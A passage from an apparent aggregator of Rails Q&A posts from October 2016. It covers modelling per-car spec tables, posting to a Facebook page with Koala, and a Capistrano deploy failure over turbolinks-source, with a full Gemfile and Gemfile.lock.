Example: main model being car (title: LaFerrari, Description: made by Ferrari) below it a table for engine specs with attributes (type: __, Description: __) and a few more tables.

Every table should belong to a specific car

I am not sure how to go about this problem if there is a gem or i need to create models for every table and which should belong_to main model

A little direction would be helpful

THANK YOU.

Using koala to only post to your own apps facebook wall

Posted: 17 Oct 2016 03:39 AM PDT

I did a successful integration of koala to post to my own apps facebook page with following code:

@graph = Koala::Facebook::API.new("my_own_access_code")  pages = @graph.get_connections('me', 'accounts')  page_token = pages.first['access_token']  @page_graph = Koala::Facebook::API.new(page_token)  @page_graph.put_connections("my_apps_id", 'feed', :message => "", link: "")  

Although the "my_own_access_code" is an authentication token that is only valid for 24 hours.

It seems that Koala is built to grab the Auth code on user login via facebook and then use that one. This is not the behaviour I am looking for. I simply want to post new posts to my facebook automatically every time a post is created. Thus Koala should always authenticate to my facebook automatically without me having to press a button or generate a token every time.

Is this possible to grant the application permanent access to my facebook?

Capistrano, Could not find turbolinks-source-5.0.0 in any of the sources

Posted: 17 Oct 2016 04:02 AM PDT

I have updated all my gems in my local computer then I have changed lock version in my deploy.rb file.

Then I try to run cap production deploy

When it gets to bundle:install section, it throws to me this error:

(Backtrace restricted to imported tasks)  cap aborted!  SSHKit::Runner::ExecuteError: Exception while executing as  user@user.kz: bundle exit status: 7  bundle stdout: Could not find turbolinks-source-5.0.0 in any of the sources  bundle stderr: Nothing written     DEBUG [f860873c] Command: cd /var/www/techgarden-server-app/releases/20161017101600 && /usr/local/rvm/bin/rvm default do bundle install --path /var/www/techgarden-server-app/shared/   bundle --without development test --deployment --quiet     DEBUG [f860873c]       Could not find turbolinks-source-5.0.0 in any of the sources  

Why this error happening now?

My Gemfile:

source 'https://rubygems.org'      gem 'capistrano-sidekiq', github: 'seuros/capistrano-sidekiq'    gem 'twitter-bootstrap-rails'    gem 'whenever', :require => false    gem 'ckeditor'    gem 'file_validators'    gem 'sucker_punch', '~> 2.0'  gem 'sidekiq'  gem 'rest-client'    gem 'koala'    gem 'faker'  gem 'kaminari'    gem 'puma'    gem 'enumerize'  gem 'mongoid'  gem 'mongoid-grid_fs', github: 'ahoward/mongoid-grid_fs'  gem 'carrierwave-mongoid', :require => 'carrierwave/mongoid'  gem 'mini_magick'    gem 'rails_admin', github: 'sferik/rails_admin'    gem 'devise'    gem 'grape'  gem 'grape-swagger', github: 'ruby-grape/grape-swagger'  gem 'grape-swagger-rails'    gem 'rails', '4.2.6'  gem 'sass-rails', '~> 5.0'  gem 'uglifier', '>= 1.3.0'  gem 'coffee-rails', '~> 4.1.0'   gem 'therubyrhino'  gem 'jquery-rails'  gem 'turbolinks'  gem 'jbuilder', '~> 2.0'  gem 'sdoc', '~> 0.4.0', group: :doc    group :development do    gem 'capistrano',         require: false    gem 'capistrano-rvm',     require: false    gem 'capistrano-rails',   require: false    gem 'capistrano-bundler', require: false    gem 'capistrano3-puma',   require: false  end  gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]    gem 'nokogiri', '>=1.6.8.rc3'  

My Gemfile.lock:

GIT    remote: git://github.com/ahoward/mongoid-grid_fs.git    revision: 047ddda03b1865ab7feaa8be6bc8d8e1cefa7d7a    specs:      mongoid-grid_fs (2.2.2)        mime-types (>= 1.0, < 4.0)        mongoid (>= 3.0, < 7.0)    GIT    remote: git://github.com/ruby-grape/grape-swagger.git    revision: 7061fd1b7537277d24678a5e249afcd8b965a503    specs:      grape-swagger (0.24.0)        grape (>= 0.12.0)    GIT    remote: git://github.com/seuros/capistrano-sidekiq.git    revision: 951995f08e1aa790fff3a2cf18b0c3a3c8bf918d    specs:      capistrano-sidekiq (0.5.4)        capistrano        sidekiq (>= 3.4)    GIT    remote: git://github.com/sferik/rails_admin.git    revision: b92a4d1a30b706d08df2aee4d0a59dad698a0552    specs:      rails_admin (1.0.0)        builder (~> 3.1)        coffee-rails (~> 4.0)        font-awesome-rails (>= 3.0, < 5)        haml (~> 4.0)        jquery-rails (>= 3.0, < 5)        jquery-ui-rails (~> 5.0)        kaminari (~> 0.14)        nested_form (~> 0.3)        rack-pjax (>= 0.7)        rails (>= 4.0, < 6)        remotipart (~> 1.3)        sass-rails (>= 4.0, < 6)    GEM    remote: https://rubygems.org/    specs:      actionmailer (4.2.6)        actionpack (= 4.2.6)        actionview (= 4.2.6)        activejob (= 4.2.6)        mail (~> 2.5, >= 2.5.4)        rails-dom-testing (~> 1.0, >= 1.0.5)      actionpack (4.2.6)        actionview (= 4.2.6)        activesupport (= 4.2.6)        rack (~> 1.6)        rack-test (~> 0.6.2)        rails-dom-testing (~> 1.0, >= 1.0.5)        rails-html-sanitizer (~> 1.0, >= 1.0.2)      actionview (4.2.6)        activesupport (= 4.2.6)        builder (~> 3.1)        erubis (~> 2.7.0)        rails-dom-testing (~> 1.0, >= 1.0.5)        rails-html-sanitizer (~> 1.0, >= 1.0.2)      activejob (4.2.6)        activesupport (= 4.2.6)        globalid (>= 0.3.0)      activemodel (4.2.6)        activesupport (= 4.2.6)        builder (~> 3.1)      activerecord (4.2.6)        activemodel (= 4.2.6)        activesupport (= 4.2.6)        arel (~> 6.0)      activesupport (4.2.6)        i18n (~> 0.7)        json (~> 1.7, >= 1.7.7)        minitest (~> 5.1)        thread_safe (~> 0.3, >= 0.3.4)        tzinfo (~> 1.1)      addressable (2.4.0)      airbrussh (1.1.1)        sshkit (>= 1.6.1, != 1.7.0)      arel (6.0.3)      axiom-types (0.1.1)        descendants_tracker (~> 0.0.4)        ice_nine (~> 0.11.0)        thread_safe (~> 0.3, >= 0.3.1)      bcrypt (3.1.11)      bson (4.1.1)      builder (3.2.2)      capistrano (3.6.1)        airbrussh (>= 1.0.0)        capistrano-harrow        i18n        rake (>= 10.0.0)        sshkit (>= 1.9.0)      capistrano-bundler (1.2.0)        capistrano (~> 3.1)        sshkit (~> 1.2)      capistrano-harrow (0.5.3)      capistrano-rails (1.1.8)        capistrano (~> 3.1)        capistrano-bundler (~> 1.1)      capistrano-rvm (0.1.2)        capistrano (~> 3.0)        sshkit (~> 1.2)      capistrano3-puma (1.2.1)        capistrano (~> 3.0)        puma (>= 2.6)      carrierwave (0.11.2)        activemodel (>= 3.2.0)        activesupport (>= 3.2.0)        json (>= 1.7)        mime-types (>= 1.16)        mimemagic (>= 0.3.0)      carrierwave-mongoid (0.10.0)        carrierwave (>= 0.8.0, < 0.12.0)        mongoid (>= 3.0, < 7.0)        mongoid-grid_fs (>= 1.3, < 3.0)      chronic (0.10.2)      ckeditor (4.2.0)        cocaine        orm_adapter (~> 0.5.0)      climate_control (0.0.3)        activesupport (>= 3.0)      cocaine (0.5.8)        climate_control (>= 0.0.3, < 1.0)      coercible (1.0.0)        descendants_tracker (~> 0.0.1)      coffee-rails (4.1.1)        coffee-script (>= 2.2.0)        railties (>= 4.0.0, < 5.1.x)      coffee-script (2.4.1)        coffee-script-source        execjs      coffee-script-source (1.10.0)      commonjs (0.2.7)      concurrent-ruby (1.0.2)      connection_pool (2.2.0)      descendants_tracker (0.0.4)        thread_safe (~> 0.3, >= 0.3.1)      devise (4.2.0)        bcrypt (~> 3.0)        orm_adapter (~> 0.1)        railties (>= 4.1.0, < 5.1)        responders        warden (~> 1.2.3)      domain_name (0.5.20160826)        unf (>= 0.0.5, < 1.0.0)      enumerize (2.0.0)        activesupport (>= 3.2)      equalizer (0.0.11)      erubis (2.7.0)      execjs (2.7.0)      faker (1.6.6)        i18n (~> 0.5)      faraday (0.9.2)        multipart-post (>= 1.2, < 3)      ffi (1.9.14)      file_validators (2.1.0)        activemodel (>= 3.0)        mime-types (>= 1.0)      font-awesome-rails (4.6.3.1)        railties (>= 3.2, < 5.1)      globalid (0.3.7)        activesupport (>= 4.1.0)      grape (0.18.0)        activesupport        builder        hashie (>= 2.1.0)        multi_json (>= 1.3.2)        multi_xml (>= 0.5.2)        mustermann-grape (~> 0.4.0)        rack (>= 1.3.0)        rack-accept        virtus (>= 1.0.0)      grape-swagger-rails (0.3.0)        railties (>= 3.2.12)      haml (4.0.7)        tilt      hashie (3.4.6)      http-cookie (1.0.3)        domain_name (~> 0.5)      i18n (0.7.0)      ice_nine (0.11.2)      jbuilder (2.6.0)        activesupport (>= 3.0.0, < 5.1)        multi_json (~> 1.2)      jquery-rails (4.2.1)        rails-dom-testing (>= 1, < 3)        railties (>= 4.2.0)        thor (>= 0.14, < 2.0)      jquery-ui-rails (5.0.5)        railties (>= 3.2.16)      json (1.8.3)      kaminari (0.17.0)        actionpack (>= 3.0.0)        activesupport (>= 3.0.0)      koala (2.4.0)        addressable        faraday        multi_json (>= 1.3.0)      less (2.6.0)        commonjs (~> 0.2.7)      less-rails (2.8.0)        actionpack (>= 4.0)        less (~> 2.6.0)        sprockets (> 2, < 4)        tilt      loofah (2.0.3)        nokogiri (>= 1.5.9)      mail (2.6.4)        mime-types (>= 1.16, < 4)      mime-types (3.1)        mime-types-data (~> 3.2015)      mime-types-data (3.2016.0521)      mimemagic (0.3.2)      mini_magick (4.5.1)      mini_portile2 (2.1.0)      minitest (5.9.1)      mongo (2.3.0)        bson (~> 4.1)      mongoid (5.1.4)        activemodel (~> 4.0)        mongo (~> 2.1)        origin (~> 2.2)        tzinfo (>= 0.3.37)      multi_json (1.12.1)      multi_xml (0.5.5)      multipart-post (2.0.0)      mustermann (0.4.0)        tool (~> 0.2)      mustermann-grape (0.4.0)        mustermann (= 0.4.0)      nested_form (0.3.2)      net-scp (1.2.1)        net-ssh (>= 2.6.5)      net-ssh (3.2.0)      netrc (0.11.0)      nokogiri (1.6.8.1)        mini_portile2 (~> 2.1.0)      origin (2.2.0)      orm_adapter (0.5.0)      puma (3.6.0)      rack (1.6.4)      rack-accept (0.4.5)        rack (>= 0.4)      rack-pjax (1.0.0)        nokogiri (~> 1.5)        rack (>= 1.1)      rack-protection (1.5.3)        rack      rack-test (0.6.3)        rack (>= 1.0)      rails (4.2.6)        actionmailer (= 4.2.6)        actionpack (= 4.2.6)        actionview (= 4.2.6)        activejob (= 4.2.6)        activemodel (= 4.2.6)        activerecord (= 4.2.6)        activesupport (= 4.2.6)        bundler (>= 1.3.0, < 2.0)        railties (= 4.2.6)        sprockets-rails      rails-deprecated_sanitizer (1.0.3)        activesupport (>= 4.2.0.alpha)      rails-dom-testing (1.0.7)        activesupport (>= 4.2.0.beta, < 5.0)        nokogiri (~> 1.6.0)        rails-deprecated_sanitizer (>= 1.0.1)      rails-html-sanitizer (1.0.3)        loofah (~> 2.0)      railties (4.2.6)        actionpack (= 4.2.6)        activesupport (= 4.2.6)        rake (>= 0.8.7)        thor (>= 0.18.1, < 2.0)      rake (11.3.0)      rdoc (4.2.2)        json (~> 1.4)      redis (3.3.1)      remotipart (1.3.1)      responders (2.3.0)        railties (>= 4.2.0, < 5.1)      rest-client (2.0.0)        http-cookie (>= 1.0.2, < 2.0)        mime-types (>= 1.16, < 4.0)        netrc (~> 0.8)      sass (3.4.22)      sass-rails (5.0.6)        railties (>= 4.0.0, < 6)        sass (~> 3.1)        sprockets (>= 2.8, < 4.0)        sprockets-rails (>= 2.0, < 4.0)        tilt (>= 1.1, < 3)      sdoc (0.4.2)        json (~> 1.7, >= 1.7.7)        rdoc (~> 4.0)      sidekiq (4.2.2)        concurrent-ruby (~> 1.0)        connection_pool (~> 2.2, >= 2.2.0)        rack-protection (~> 1.5)        redis (~> 3.2, >= 3.2.1)      sprockets (3.7.0)        concurrent-ruby (~> 1.0)        rack (> 1, < 3)      sprockets-rails (3.2.0)        actionpack (>= 4.0)        activesupport (>= 4.0)        sprockets (>= 3.0.0)      sshkit (1.11.3)        net-scp (>= 1.1.2)        net-ssh (>= 2.8.0)      sucker_punch (2.0.2)        concurrent-ruby (~> 1.0.0)      therubyrhino (2.0.4)        therubyrhino_jar (>= 1.7.3)      therubyrhino_jar (1.7.6)      thor (0.19.1)      thread_safe (0.3.5)      tilt (2.0.5)      tool (0.2.3)      turbolinks (5.0.1)        turbolinks-source (~> 5)      turbolinks-source (5.0.0)      twitter-bootstrap-rails (3.2.2)        actionpack (>= 3.1)        execjs (>= 2.2.2, >= 2.2)        less-rails (>= 2.5.0)        railties (>= 3.1)      tzinfo (1.2.2)        thread_safe (~> 0.1)      tzinfo-data (1.2016.7)        tzinfo (>= 1.0.0)      uglifier (3.0.2)        execjs (>= 0.3.0, < 3)      unf (0.1.4)        unf_ext      unf_ext (0.0.7.2)      virtus (1.0.5)        axiom-types (~> 0.1)        coercible (~> 1.0)        descendants_tracker (~> 0.0, >= 0.0.3)        equalizer (~> 0.0, >= 0.0.9)      warden (1.2.6)        rack (>= 1.0)      whenever (0.9.7)        chronic (>= 0.6.3)    PLATFORMS    ruby  DEPENDENCIES    capistrano    capistrano-bundler    capistrano-rails    capistrano-rvm    capistrano-sidekiq!    capistrano3-puma    carrierwave-mongoid    ckeditor    coffee-rails (~> 4.1.0)    devise    enumerize    faker    file_validators    grape    grape-swagger!    grape-swagger-rails    jbuilder (~> 2.0)    jquery-rails    kaminari    koala    mini_magick    mongoid    mongoid-grid_fs!    nokogiri (>= 1.6.8.rc3)    puma    rails (= 4.2.6)    rails_admin!    rest-client    sass-rails (~> 5.0)    sdoc (~> 0.4.0)    sidekiq    sucker_punch (~> 2.0)    therubyrhino    turbolinks    twitter-bootstrap-rails    tzinfo-data    uglifier (>= 1.3.0)    whenever    BUNDLED WITH     1.12.5  

No comments:

Post a Comment